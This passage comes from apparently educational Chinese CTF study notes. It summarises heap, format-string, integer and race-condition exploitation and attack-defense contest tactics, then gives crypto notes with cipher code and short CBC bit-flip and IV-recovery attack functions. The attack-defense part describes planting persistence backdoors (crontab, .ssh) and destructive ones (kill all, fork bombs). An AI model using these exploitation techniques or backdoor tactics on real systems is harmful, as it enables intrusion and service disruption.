  3. fastbin attack:利用 fastbin 机制,通过改写 fd 域控制分配堆块,需满足存在相关漏洞和对目标地址 size 域设置等条件。
  4. forgotten chunk:利用堆块申请释放中的遗忘部分构造重叠堆块,可进行堆扩展(往后或往前合并)、堆收缩等操作,结合其他利用方法进一步利用。
  5. house of force:溢出覆盖 top chunk 的 size 域为大值,申请大块内存使 top chunk 头部落到目标地址,实现泄露和改写,常用于修改 libc 中的 hook 等数据。
  6. house of spirit:在堆上构造 fastbin 结构,改写前一堆块指针使下次申请到栈上,需泄露栈地址并满足 fastbin attack 条件。
  7. house of orange:利用 Unsorted bin Attack 和 FSOP,通过控制 unsorted bin 链表和_IO_FILE 结构体链表获取 shell,不同 glibc 版本有不同利用细节和限制。
  8. 堆喷射:在堆块中布置大量重复数据便于索引,CTF 赛题中较少见,在真实漏洞利用较多,有特定保护机制和利用场景。
  9. 更多堆利用技巧:如堆地址碰撞,利用 x86 堆地址空间有限和按页对齐特点,在无法泄露堆地址时通过调试值进行碰撞利用。

(四)真题解析

  1. {ZCTF - 2015}note1(PWN200):菜单式交互程序,edit 时缓冲区溢出,利用结构体指针泄露和改写 got 表获取 shell。
  2. {ZCTF - 2015}note2(PWN400):菜单式程序,edit 时 append 越界,采用 fastbin 方式构造假堆块,释放后改写全局指针获取 shell。
  3. {hack.lu - 2014}oreo(PWN400):订单系统,添加订单时 name 和 description 长度溢出,利用 fastbin 和留言功能,通过控制订单表指针泄露信息和构造假节点改写 got 表获取 shell。
  4. {RCTF - 2015}Shaxian(PWN400):堆溢出覆盖 next 指针泄露 got 表内容,采用 fastbin 利用方法改写 atoi_got 为 system,因 libc 问题采用暴力破解偏移获取 shell。
  5. {XMAN 夏令营练习题}levev6_x86(freenote - x86):32 位程序,利用 unlink 方法构造堆块满足条件,泄露 libc 地址后改写 got 表获取 shell。
  6. {XMAN 夏令营练习题}levev6 - x64(freenote - x64):64 位程序,类似 x86 版本利用 unlink 方法获取 shell。
  7. {house of orange(2016 - hitcon)}:在不同 glibc 版本下利用 Unsorted bin Attack 和 FSOP 技术,通过构造特定数据结构和利用函数漏洞获取 shell,高版本有更多限制和不同利用方式。

四、格式化字符串漏洞

(一)基本概念

针对 printf、sprintf 等格式化函数,利用格式化字符串中的格式说明符(如%x、%p、%s、%n 等)和变参列表工作。%n 可用于写入数据,通过控制格式化字符串可实现信息泄露和修改,参数定位有正常顺序和特殊的%d$m 形式。

(二)信息泄露与修改

  1. 原理:格式化函数为变长参数函数,参数按栈传递规则寻找,实际参数不足时会引发漏洞,可利用其参数转换显示和写入功能。
  2. 信息泄露:通过参数转换显示功能,利用格式化字符串查看栈上数据,x86 和 x64 程序可通过控制栈数据或利用寄存器实现任意地址泄露,如在栈上布置数据并通过特定格式说明符索引显示。
  3. 信息修改:利用%n 写入数据,可通过%hn、%hhn 控制写入宽度,结合%c 写入特定值,通过控制格式化字符串和地址布置实现任意地址写,修改全局变量等改变程序逻辑。

(三)额外技巧

  1. 无法存放或索引到目的地址:通过 path 二级指针进行格式化利用,在栈或堆上控制空间不足时,利用多级指针修改链实现任意地址写,如通过修改 path 指针指向的地址内容逐步达到目标地址修改。
  2. 只有单次格式化机会:通过改写特定函数(如返回地址、got 表地址、函数指针等)实现多次格式化,构造循环逻辑满足多次利用需求。
  3. 将其他漏洞转换为格式化漏洞:当其他漏洞功能有限时,将可写地址改写成 printf 函数,利用格式化漏洞强大功能实现更多信息泄露和地址改写。

(四)真题解析

  1. {CCTF - 2016}PWN3(PWN350):格式化字符串在栈上,利用漏洞泄露 malloc 地址计算 libc 基址和 system 地址,通过构造格式化字符串改写 puts_got 为 system 地址获取 shell。
  2. {RCTF - 2015}nobug(PWN300):函数返回处有格式化字符串且可无限次使用,通过 argv、argv0 和 path 指针关系实现任意地址改写,获取 shell。
  3. {LCTF - 2016}PWN200:读取溢出覆盖指针后利用 strcpy 实现任意地址写,先将 free 改写成 printf 泄露信息,再布置地址改写为 system 地址获取 shell。

五、整型漏洞

(一)宽度溢出

整型数据存储有宽度限制,超出宽度产生溢出。存储模式有大端和小端,一般采用小端模式。通过示例展示了整型数据运算和赋值时宽度溢出情况,如将宽字节整型数据存储到窄字节数据中导致数据截断。

(二)符号转换

有符号数与无符号数转换因最高位表示不同易产生漏洞。有符号数正数补码与原码相同,负数补码需按规则计算。在条件判断和参数传递中,因符号转换可能导致逻辑错误,如无符号数与有符号数强制转换后绕过条件判断或函数参数类型不匹配。

(三)数组越界

因数组索引检查不严格,超出预设范围访问数据,可实现信息泄露和数据篡改。通过示例展示了数组越界访问栈上数据的情况,输入超出范围的索引可打印或修改其他数据。

(四)真题解析

{ZCTF - 2015}note3(PWN300):edit 中 id 转换存在整型数据溢出,导致索引错误覆盖堆块,利用 unlink 构造假堆块改写全局指针获取 shell。

六、逻辑漏洞

(一)基本概念

程序逻辑问题,如不严密或复杂导致分支处理错误,在 Web 和 Crypto 中常见,PWN 题目中较少且多为竞态条件漏洞。

(二)竞态条件漏洞

多任务访问同一资源时因访问顺序不同产生冲突,如 TOCTTOU 漏洞是检查和使用时间不一致,导致权限/状态检查绕过,通过示例展示了线程间资源竞争和文件操作中权限绕过的情况。

(三)真题解析

{exploit - exercises}nebula level10:分析代码中 access 与 open 函数非原子操作,通过循环软连接文件绕过 access 检查,实现对特定文件的读取和发送,获取 flag。

七、Attack&Defense 模式

(一)修补方案

  1. 大小修改法:在栈或堆溢出场景,修改分配、读取、复制内存大小防止溢出,如修改 read 函数读取大小修补栈溢出漏洞,利用 IDA 的 keypatch 插件操作。
  2. 函数替换法:对于格式化字符串漏洞等,将有漏洞函数(如 printf)替换为安全函数(如 puts),需计算新地址并修改指令,通过实例展示了具体步骤。
  3. .eh_frame 段 Patch 法:在.eh_frame 段编写代码处理 uaf 等风险,如清零释放后的指针,再跳转回原逻辑,保证不影响相关操作。
  4. 其他方法:可利用 lief、patchkit 等工具进行半自动 Patch 操作。

(二)攻防策略

  1. 服务上下线策略:根据赛场上 flag 提交情况决定服务上线或下线。若自己战队排名靠前且只有少数战队拿走 flag,可下线减少后门和清理工作;若大面积服务宕掉,在保证自身服务稳定的情况下上线获取分数;若想获取 exp 流量或提示流量也应上线。
  2. 后门植入策略:分为持久性后门(如通过 crontab、at 等设置或写.ssh)和破坏性后门(如使用 kill all 或 fork bang 使服务宕掉)。
  3. 后门清理策略:Web 题目在题目权限和 CTF 权限清理,二进制题目可 su 到题目权限后 kill all,并清理 crontab 和 at 等位置。
  4. 流量策略:选手会获取攻击流量和提示流量,通过分析流量定位 exp,可对流量混淆,根据流量情况修补二进制文件和复现 exp,还可发现后门问题。
  5. 强弱者策略:强队注重漏洞挖掘利用,弱队应紧盯强队动作,快速进行 Patch 操作和复现,可通过脚本自动化流量抓取分析、后门管理和 exp 管理等工作。

Crypto笔记

一、Crypto概述

  • 题目特点与趋势:在CTF中,Crypto题目专注于密码学知识考查,线上赛常见且难度较高,线下赛多与其他类型结合。近年与PWN、Reverse融合,趋于前沿化、论文化。
  • 能力要求:参赛者需具备扎实数学功底(尤其是数论),还应拥有识别密码算法、攻击特定算法、分析未知算法、编程实现破解、快速学习新方法和掌握跨领域知识等能力。
  • 解题困难及应对:解题困难通常源于不熟悉算法破解方法或时间不足。对于前者,应深入学习常见算法及其攻击方式;对于后者,若确定算法思路正确,可借助编程和高性能计算机解题。
  • 潜力选手类型及发展方向:数学专业学生需提升编程能力;编程能力强的选手要加强数学基础和密码学知识学习,两者都有望成为优秀CTF选手。
  • 密码学分类与攻击类型:分为古典密码学和现代密码学。攻击类型有唯密文攻击、已知明文攻击、选择明文攻击、选择密文攻击。

二、编码

(一)hex编码

  • 原理与应用:将信息转换为十六进制,便于处理特殊字符传输和进行数学计算。在Python中,通过 encode("hex") 实现编码,int(t, 16) 可转换为十进制进行运算,hex(num) 则用于将数字转回十六进制字符串,还可自定义函数处理转换中的细节问题。同时,PyCrypto库的 long_to_bytesbytes_to_long 函数也能方便地进行相关转换。
  • 示例代码与结果分析
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    s = "flag"
    print(s.encode("hex")) # 输出: 666c6167

    t = s.encode("hex")
    print(int(t, 16)) # 输出: 1718378855

    num = 584734024210391580014049650557280915516226103165
    print(hex(num))
    print(hex(num)[2:-1])
    print(hex(num)[2:-1].decode("hex"))

(二)urlencode编码

  • 编码规则与用途:用于解决浏览器与网站间特殊字符传输问题,在特殊字符hex基础上,每个字符前置 “%”。例如,flag{url_encode_1234_!@#$} 编码后为 flag%7Burl_encode_1234_%21@%23%24%7D
  • Python实现:在Python中,使用 urllib 库的 quote 函数对字符串编码,urlencode 函数可对字典模式键值对编码,unquote 函数用于解码。
  • 示例代码与结果
    1
    2
    3
    4
    import urllib
    print(urllib.quote("flag{url_encode_1234_!@#$}"))
    d = {'name': '[email protected]', 'flag': 'flag{url_encode_1234_!@#$}'}
    print(urllib.urlencode(d))

(三)morsecode编码

  • 编码特点与识别:由长音和短音构成,无密钥,常用于信息传输。例如,..-./.-../.-/--./--/---/.-./.../. 解码为 FLAGMORSE
  • 解码工具与Python实现:有许多在线解码工具,如 http://www.atool.org/morse.php 等。在Python中,通过定义字母与摩斯码的对应字典,编写编码和解码函数实现转换。
  • 示例代码(部分关键函数)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    alphabet_to_morse = {
    "A": ".-", "B": "-...", "C": "-.-.", "D": "-..", "E": ".", "F": "..-.", "G": "--.", "H": "....", "I": "..", "J": ".---", "K": "-.-", "L": ".-..", "M": "--", "N": "-.", "O": "---", "P": ".--.", "Q": "--.-", "R": ".-.", "S": "...", "T": "-", "U": "..-", "V": "...-", "W": ".--", "X": "-..-", "Y": "-.--", "Z": "--..", "0": "-----", "1": ".----", "2": "..---", "3": "...--", "4": "....-", "5": ".....", "6": "-....", "7": "--...", "8": "---..", "9": "----.", ",": "--..--", ":": "---...", ";": "-.-.-.", "?": "..--..", "-": "-....-", "_": "..--.-", "(": "-.--.", ")": "-.--.-", "'": ".----.", "=": "-...-", "+": ".-.-.", "/": "-..-.", "@": ".--.-.", "": ""
    }
    morse_to_alphabet = {v: k for k, v in alphabet_to_morse.iteritems()}

    def morsedecode(encoded):
    characterstring = []
    words = encoded.split(" ")
    for word in words:
    letters = word.split("/")
    characterword = []
    for letter in letters:
    characterletter = morse_to_alphabet[letter]
    characterword.append(characterletter)
    word = "".join(characterword)
    characterstring.append(word)
    return "".join(characterstring)

(四)jsfuck编码

  • 编码特性与示例:仅用 ()+[]! 6 个字符书写 JavaScript 代码,如 alert(1) 编码后变得复杂。
  • 解码方法:可使用在线解码网站,如 http://www.jsfuck.comhttp://utf-8.jp/public/jsfuck.html

(五)uuencode编码

  • 原理与特点:将二进制文件转换为可见字符文本,每 3 字节扩展成 4 字节,编码后字符取值 32 - 95,无小写字母,易于识别。例如,flag{uuencode} 编码后为 .9FQA9WMU=65N8V]D97T
  • 在线工具:可通过 http://www.qqxiuzi.cn/bianma/uuencode.php 进行编解码。

(六)base家族编码

  • 编码功能与常见类型:包括 base64、base32、base16(即 hex)等,主要用于转换特殊字符和不可见字符为常见字符,便于网络传输。
  • 识别方法:看是否有 “=” 结尾,或检查编码字符是否在对应字符集上。例如,flag 的 base16 编码为 666c6167,base32 编码为 MZXW6YTBOI====,base64 编码为 ZmFsbw==
  • Python编解码:base64 可直接用字符串 encodedecode 方法,base32 和 base16 需用 base64 库函数。
  • base64编码原理示例:以 AST 为例,字符转换为数字 65、83、84,二进制表示共 24bit,6bit 一组切分转换为十进制后查表得到编码字符。在 CTF 题目中,可能会遇到私有 base64,需替换自定义表进行解码。

三、古典密码

(一)移位密码

1. 简单移位密码

  • 加密原理与示例:根据密钥对明文进行位置变换。如明文 flag{easy_easy_crypto},密钥 3124,按密钥长度 4 切分明文后,按密钥顺序变换每组字符位置,得到密文 lafgea{s_eyay_scyprt}o
  • Python实现(加密与解密)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    def shift_encrypt(m, k):
    l = len(k)
    c = ""
    for i in range(0, len(m), l):
    tmp_c = [""] * l
    if i + l > len(m):
    tmp_m = m[i:]
    else:
    tmp_m = m[i:i + l]
    for kindex in range(len(tmp_m)):
    tmp_c[int(k[kindex]) - 1] = tmp_m[kindex]
    c += "".join(tmp_c)
    return c

    def shift_decrypt(c, k):
    l = len(k)
    m = ""
    for i in range(0, len(c), l):
    tmp_m = [""] * l
    if i + l >= len(c):
    tmp_c = c[i:]
    use = []
    for kindex in range(len(tmp_c)):
    use.append(int(k[kindex]) - 1)
    use.sort()
    for kindex in range(len(tmp_c)):
    tmp_m[kindex] = tmp_c[use.index(int(k[kindex]) - 1)]
    else:
    tmp_c = c[i:i + l]
    for kindex in range(len(tmp_c)):
    tmp_m[kindex] = tmp_c[int(k[kindex]) - 1]
    m += "".join(tmp_m)
    return m
  • 攻击策略:可爆破字段长度和顺序,对于部分密文,可通过观察 flag 格式和字符位置关系直接确定密钥。

2. 曲路密码

  • 加密方式:将明文填入表中按特定曲路遍历生成密文,如明文 abcdefghijklmnopqrstuvwxy 按给定曲路加密后为 ejotyxcnidchmrwvqlgbafkpu,解密则反向遍历。

3. 云影密码

  • 解码规则与实现:仅含 01248 五个数字,0 用于分割,其余数字求和转换为明文。在 Python 中,通过分割字符串、求和并查找对应字母实现解码。
  • 示例代码与结果
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    def c01248_decode(c):
    l = c.split("0")
    origin = "abcdefghijklmnopqrstuvwxyz"
    r = ""
    for i in l:
    tmp = 0
    for num in i:
    tmp += int(num)
    r += origin[tmp - 1]
    return r

    print(c01248_decode("8842101220480224404014224202480122")) # 输出: welldone

4. 栅栏密码

  • 加密与解密过程:密钥为栅栏长度,将明文分组后按顺序取字符连接成密文。如明文 flag{zhalan_mima_hahaha},密钥 4,加密时先分组,再依次取每组第 1、2、3、4 个字符连接。解密则是加密的逆过程。
  • Python代码示例
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    def zhalan_encrypt(m, k):
    chip = []
    for i in range(0, len(m), k):
    if i + k >= len(m):
    tmp_m = m[i:]
    else:
    tmp_m = m[i:i + k]
    chip.append(tmp_m)
    c = ""
    for i in range(k):
    for tmp_m in chip:
    if i < len(tmp_m):
    c += tmp_m[i]
    return c

    def zhalan_decrypt(c, k):
    l = len(c)
    partnum = l / k
    if l % k!= 0:
    partnum += 1
    m = [""] * l
    for i in range(0, l, partnum):
    if i + partnum >= len(c):
    tmp_c = c[i:]
    else:
    tmp_c = c[i:i + partnum]
    for j in range(len(tmp_c)):
    m[j * k + i / partnum] = tmp_c[j]
    return "".join(m)

(二)替代密码

  • 加密原理与攻击方法:通过替换表将明文字符替换为密文字符,单表替代密码密钥为替换表,多表替代密码使用多个替换表。针对替代密码,词频分析是常用攻击方式。

1. 凯撒密码

  • 加密与解密规则:通过将字母移动固定位数实现加密解密,如偏移量 3 时,A 变为 D 等。在 Python 中,通过字符编码加减偏移量并取模实现转换,可爆破密钥或利用 flag 格式判断明文。
  • 示例代码(加密与解密)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    def caesar_encrypt(m, k):
    r = ""
    for i in m:
    r += chr((ord(i) + k) % 128)
    return r

    def caesar_decrypt(c, k):
    r = ""
    for i in c:
    r += chr((ord(i) - k) % 128)
    return r

2. ROT13

  • 特点与应用:凯撒密码特殊情况,k = 13 且仅作用于大小写英文字母,无密钥,常用于处理特定字符串,如 MD5flag 等。加密解密函数相同,两次加密可恢复原文。

3. 埃特巴什码

  • 加密原理与实现:字母表位置对称替换,在 Python 中通过查找对称位置字母实现编码解码。
  • 示例代码(编码)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    def atbash_encode(m):
    alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    Origin = alphabet + alphabet.lower()
    TH_A = alphabet[::-1]
    TH_a = alphabet.lower()[::-1]
    TH = TH_A + TH_a
    r = ""
    for i in m:
    tmp = Origin.find(i)
    if tmp!= -1:
    r += TH[tmp]
    else:
    r += i
    return r

4. 经典单表替代密码

  • 加密与解密操作:用给定替代表对明文字符逐一替换,无替代表时爆破难度高,可利用词频统计攻击,有替代表则按对应关系解密。
  • 示例代码(加密)
    1
    2
    3
    4
    5
    6
    7
    8
    def substitution_encode(m, k, origin="abcdefghijklmnopqrstuvwxyz"):
    r = ""
    for i in m:
    if origin.find(i)!=-1:
    r += k[origin.find(i)]
    else:
    r += i
    return r

5. 培根密码

  • 编码特点与解码工具:用两种字体表示密文,五个一组,关键是字体,可通过 http://rumkin.com/tools/cipher/baconian.php 在线解码。

6. 图形替代密码

  • 猪圈密码与跳舞的小人密码:猪圈密码用不同格子表示字母,跳舞的小人密码用小人图案表示字母,均通过图形替代明文,可查找对应表进行解密。

7. 仿射密码

  • 加密替代表生成与示例:替代表依据 c = am + b mod n 生成,加密时按公式计算,解密需先求 a 关于 n 的逆元。可爆破、词频统计或利用已知明密文对推理密钥,在 Python 中按公式编写加密解密函数。
  • 示例代码(加密)
    1
    2
    3
    4
    5
    6
    7
    8
    def affine_encode(m, a, b, origin="abcdefghijklmnopqrstuvwxyz"):
    r = ""
    for i in m:
    if origin.find(i)!=-1:
    r += origin[(a * origin.index(i) + b) % len(origin)]
    else:
    r += i
    return r

8. 多表替代密码

  • 棋盘类密码(Playfair、Polybius、Nihilist)

    • 棋盘生成与加密原理:密钥为 5×5 棋盘,生成时遵循特定规则,不同密码加密方式各异。Playfair 将明文字母两两一组,按规则在棋盘上查找替换字母;Polybius 用棋盘坐标作为密文;Nihilist 原理与 Polybius 相同。
    • Python实现(以Playfair为例)
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      61
      62
      63
      64
      65
      66
      67
      68
      69
      70
      71
      72
      73
      74
      75
      76
      77
      78
      79
      80
      81
      82
      83
      84
      85
      def gen_cheese_map(k, use_Q=True, upper=True):
      k = k.upper()
      k0 = ""
      origin = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
      for i in k:
      if i not in k0:
      k0 += i
      for i in origin:
      if i not in k0:
      k0 += i
      if use_Q == True:
      k0 = k0[0:k0.index("J")] + k0[k0.index("J") + 1:]
      else:
      k0 = k0[0:k0.index("Q")] + k0[k0.index("Q") + 1:]
      if upper == False:
      k0 = k0.lower()
      assert len(k0) == 25
      r = []
      for i in range(5):
      r.append(k0[i * 5:i * 5 + 5])
      return r

      def _playfair_2char(tmp, map):
      for i in range(5):
      for j in range(5):
      if tmp[i][j] == tmp[0]:
      ai = i
      aj = j
      if tmp[i][j] == tmp[1]:
      bi = i
      bj = j
      if ai == bi:
      axi = ai
      bxi = bi
      axj = (aj + 1) % 5
      bxj = (bj + 1) % 5
      elif aj == bj:
      axj = aj
      bxj = bj
      axi = (ai + 1) % 5
      bxi = (bi + 1) % 5
      else:
      axi = ai
      axj = bj
      bxi = bi
      bxj = aj
      return map[axi][axj] + map[bxi][bxj]

      def playfair_encode(m, k="", cheese_map=[]):
      m = m.upper()
      origin = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
      tmp = ""
      for i in m:
      if i in origin:
      tmp += i
      m = tmp
      assert k!= "" or cheese_map!= []
      if cheese_map == []:
      map = gen_cheese_map(k)
      else:
      map = cheese_map
      m0 = []
      idx = 0
      while idx < len(m):
      tmp = m[idx:idx + 2]
      if tmp[0]!= tmp[1]:
      m0.append(tmp)
      idx += 2
      elif tmp[0]!= "X":
      m0.append(tmp[0] + 'X')
      idx += 1
      else:
      m0.append(tmp[0] + 'Q')
      idx += 1
      if idx == len(m) - 1:
      if tmp[0]!= "X":
      m0.append(tmp[0] + 'X')
      idx += 1
      else:
      m0.append(tmp[0] + 'Q')
      idx += 1
      r = []
      for i in m0:
      r.append(_playfair_2char(i, map))
      return r
  • 维吉尼亚密码

    • 加密特点与破解方法:多表替代密码,密钥随位置变化,破解常需爆破和词频统计,可利用卡西斯基试验和弗里德曼试验获取密钥长度,也可使用 http://quipqiup.com/index.php 等工具。
    • 示例代码(部分关键函数)
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      def vigenere_encrypt(m, k):
      encrypted = ""
      for i in range(len(m)):
      char_index = ord(m[i]) - ord('a')
      key_index = ord(k[i % len(k)]) - ord('a')
      encrypted += chr((char_index + key_index) % 26 + ord('a'))
      return encrypted

      def vigenere_decrypt(c, k):
      decrypted = ""
      for i in range(len(c)):
      char_index = ord(c[i]) - ord('a')
      key_index = ord(k[i % len(k)]) - ord('a')
      decrypted += chr((char_index - key_index + 26) % 26 + ord('a'))
      return decrypted
  • 希尔密码

    • 加密原理与示例:运用矩阵论原理,将字母视为二十六进制数字,与密钥矩阵相乘并模 26,密钥矩阵需可逆。例如明文 act,按规则加密后得到密文。

四、现代密码

(一)分组密码和序列密码

1. DES/AES基本加解密

  • 算法参数与特点:DES 分组长度 64bit,密钥长度 64bit,圈数 16,圈密钥长度 48bit;AES 分组长度 128bit,密钥长度 128bit 时圈数 10,192bit 时圈数 12,256bit 时圈数 14。在 Python 中,使用 PyCrypto 库的 AES 类进行加解密操作,需注意密文输出可能需处理不可见字符,如使用 hex 编码。
  • 示例代码(AES加密)
    1
    2
    3
    4
    5
    6
    7
    from Crypto.Cipher import AES
    m = "flag{aes_666666}"
    key = "1234567890abcdef"
    iv = "fedcba0987654321"
    cipher = AES.new(key, AES.MODE_CBC, iv)
    c = cipher.encrypt(m)
    print(c.encode("hex"))

2. 分组密码CBC bit翻转攻击

  • CBC模式原理与攻击思路:CBC 模式前一组密文与当前分组明文异或后加密。攻击时,可利用异或操作修改密文使特定位置明文改变。通过分析加密过程,找到目标位置密文关系,构造新密文实现攻击。
  • 示例代码(攻击函数)
    1
    2
    3
    4
    5
    6
    7
    8
    def cbc_bit_attack_mul(c, m, position, target):
    l = len(position)
    r = c
    for i in range(l):
    change = position[i] - 16
    tmp = chr(ord(m[position[i]]) ^ ord(target[i]) ^ ord(c[change]))
    r = r[0:change] + tmp + r[change + 1:]
    return r

3. 分组密码CBC选择密文攻击

  • 攻击原理与实现:利用 CBC 模式加密前明文与 IV 异或及每组 IV 更新特点,构造特定密文可恢复 IV。根据加密公式关系推导计算,在 Python 中实现相关函数进行攻击。
  • 示例代码(恢复IV函数)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    def cbc_chosen_cipher_recover_iv(cc, mm):
    assert cc[0:16] == cc[16:32]

    def _xorstr(a, b):
    s = ""
    for i in range(16):
    s += chr(ord(a[i]) ^ ord(b[i]))
    return s

    p0 = mm[0:16]
    p1 = mm[16:32]
    return _xorstr(_xorstr(p0, p1), cc[0:16])

4. 分组密码CBC padding oracle攻击

  • 攻击条件与流程:需满足加密采用 PKCS5 填充且能与服务器交互获取 padding 检查结果。从末位开始逐位爆破明文,通过枚举和构造特定密文观察服务器响应,利用 padding 检查机制逆推明文。

5. Feistel结构分析

  • 攻击原理与示例:若 Feistel 结构右边加密线性,可通过分析明密文关系和多轮密钥推出密钥,进而解密。根据题目给定函数和明密文数据,列出关系推导密钥。

6. 攻击伪随机数发生器

  • 常见攻击方式与示例
    • 时间种子爆破:若随机数发生器用时间作种子,可爆破时间种子。根据题目中种子生成方式和输入验证逻辑,逆推时间范围进行爆破攻击。
    • 基于结构的攻击:如针对 java.util.Random 和 MTrand 等结构,利用其状态变换和输出关系,通过收集输出逆推状态预测随机数。在 Python 中,根据不同结构特点编写攻击代码。

(二)公钥密码

1. RSA基础

  • 加密通信过程:Alice 向 Bob 发送信息时,Bob 生成大素数 pq 计算 n = p * qe(常取 65537),将 (n, e) 传给 Alice。Alice 将明文转换后计算 c = m^e mod n 传给 Bob,Bob 求 e 关于 n 的欧拉函数逆元 d 解密。可使用 openssl 命令处理相关文件,在 Python 中用 pow 函数实现加密解密计算。

2. 直接模数分解

  • 攻击原理与工具:当 n 较小时,可通过爆破或工具(如 yafu)分解 n 得到 pq 进而破解。在题目中获取 nec 后,用 yafu 分解 n,再按 RSA 解密流程计算明文。

3. 费马分解和Pollard_rho分解

  • 原理与应用:费马分解适用于 pq 差距小的情况,利用 n = a^2 - b^2 枚举分解;Pollard_rho 分解可处理 pq 差距大的情况,通过特定迭代计算找因子。yafu 集成了这两种方法,可在解题时尝试。

4. 公约数模数分解

  • 攻击场景与实现:若 Alice 和 Bob 两次通信 n 有相同大素数因子,可求公约数分解 n。获取两组 nec 后,计算公约数得到共同素因子,进而分解 n 解密。

5. 其他模数分解方式

  • 辅助方法与真题示例:可使用网站(如 http://factordb.com/index.php)分解模数,有些题目会提供额外信息辅助分解。如 MMA CTF 2016 题目,根据给定 npp 值构造方程求解 pq 破解。

6. 小指数明文爆破

  • 特殊情况与攻击方法:当 e 小且明文也小时,可能出现 m^e < nk * n < m^3 < (k + 1) * n 情况,可直接开方或爆破 k 求解明文。在 Python 中通过循环判断和开方计算尝试破解。

7. 选择密文攻击

  • 攻击思路与示例:若能对任意密文解密(除目标密文),可求目标密文逆元等操作破解。存在交互可获取 1bit 时,可实现 RSA parity oracle 攻击,可通过例题学习具体方法。

8. LLL - attack

  • 攻击条件与操作:若 e = 3 且部分信息泄露(如明文前缀、pq 部分等),可利用 Coppersmith method 求解。在 GitHub 上获取 sage 代码,在 sagemath 在线版修改执行攻击。

9. Wiener Attack&Boneh Durfee Attack

  • 攻击原理与应用:Wiener Attack 针对 e 大但 d 小的情况,可从 GitHub 下载脚本修改攻击;Boneh Durfee attack 适用于 Wiener Attack 不起作用时,具体代码参考 Git 相关内容。

10. 共模攻击

  • 攻击前提与实现:Bob 两次通信 n 相同且 Alice 加密信息相同,可直接计算明文。根据给定两组 nec,利用扩展欧几里得算法等计算出明文。

11. 广播攻击

  • 攻击条件与示例:Bob 多次加密指数低且信息相同,可利用中国剩余定理计算。如加密指数为 3 时,通过收集多组 nc,结合定理计算出明文。

12. 相关消息攻击

  • 攻击原理与代码:当 Alice 用同一公钥加密有线性关系消息时,可根据给定线性关系和加密公式推导计算出消息。在 Python 中编写函数实现相关计算。

13. DSA

  • 攻击要点与示例:使用相同 k 时可攻击,根据已知条件和公式推导计算出相关参数。如 JarvisOJ 原题,按步骤计算出关键值破解。

(三)哈希

1. 哈希碰撞

  • 哈希函数性质与 Python实现:哈希函数需满足应用于任意数据块、生成固定输出、计算简单但不可逆等性质。在 Python 中用 hashlib 库函数计算哈希值,如 sha256md5sha1 等,可配合 hexdigest 转换为字符串。
  • 碰撞攻击与示例:在 PPC 模式题目中,常需满足特定哈希条件,可爆破求解。根据王小云院士理论,存在哈希碰撞情况,可利用相关工具和知识解题,如 fastcoll

2. 哈希长度扩展攻击

  • 攻击原理与例题讲解:在特定计算哈希方式下,可在不知道 secret 时修改 message 得到新哈希值。以 Jarvisoj 题目为例,通过分析题目条件和利用 hashpump 工具计算,尝试不同 salt 长度找到正确结果。

五、真题解析

(一)SUPEREXPRESS

  • 题目分析:加密算法对 flag 每个字符进行与 key 相关的线性变换,是单表替代密码,可通过已知明密文前几个字符列出方程爆破或计算密钥。
  • 解题过程:根据加密程序分析出密钥长度相关信息和字符变换规律,利用 flag 前 6 个字符 TWCTF{ 与密文对应关系,爆破或解方程求出加密、解密密钥,最后编写解密脚本得到 flag

(二)VIGENERE

  • 题目分析:程序先进行 base64 编码再用维吉尼亚加密,增加了破解难度,且词频统计作用受限。
  • 解题步骤:通过分析 base64 编码特点和明文取值范围,先利用重复字符间隔计算维吉尼亚密码密钥长度,再根据明文最高 bit 为 0 的条件枚举密钥字符确定部分密钥,最后爆破未知位置得到 flag

(三)Revolver

  • 题目概述:题目类型为 Reverse + PWN + Crypto,包含初始化验证、多个功能选项,涉及多种密码学操作和攻击面。
  • 关键操作与攻击方法
    • 初始化和验证:proof 过程可爆破 MD5 碰撞通过验证,验证后读取 flag 并用 AES256 加密存储。
    • 功能分析与攻击:选项 3 中各功能有不同作用,其中选项 3 - 6(e = 3 的 RSA 加密 AES256 密钥)和选项 3 - 7(存在越界写可构造相关消息攻击)是关键。利用选项 3 - 7 构造条件,结合相关消息攻击恢复 AES256 密钥明文,还可利用 AES 密钥扩展算法恢复初始密钥,以及根据已知明文高 bit 位信息进行攻击。
    • 检查与修补:使用私钥检查保证题目完整性,修补时需针对越界写、轮密钥泄露和已知高 bit 位等问题修改程序。

(四)Railgun

  • 题目特点与攻击方式:题目类型为 PWN + Crypto,有多种操作和漏洞。攻击方式包括利用 off - by - one 漏洞修改堆结构体控制 AES 密钥,结合整型溢出或快速挖矿,利用 RSA parity oracle 攻击获取 flag;还可通过 Use After Free 漏洞配合其他操作实现相同攻击,同时需注意优化攻击过程减少交互和提升速度。

六、总结

  • 学习要点与挑战:Crypto 题目需数学和逻辑基础,初学者有难度,但掌握技巧后是重要得分点。古典密码较简单,分组密码、序列密码和公钥密码是核心考点,哈希函数考点相对较少,同时了解区块链相关知识有助于竞赛。
  • 未来研究方向:深入研究分组密码和序列密码的复杂攻击方法、公钥密码的格相关知识、哈希函数新攻击技术以及区块链密码学应用,对提升密码学能力和 CTF 竞赛成绩至关重要。

APK笔记

一、APK基础

(一)Android题目类型

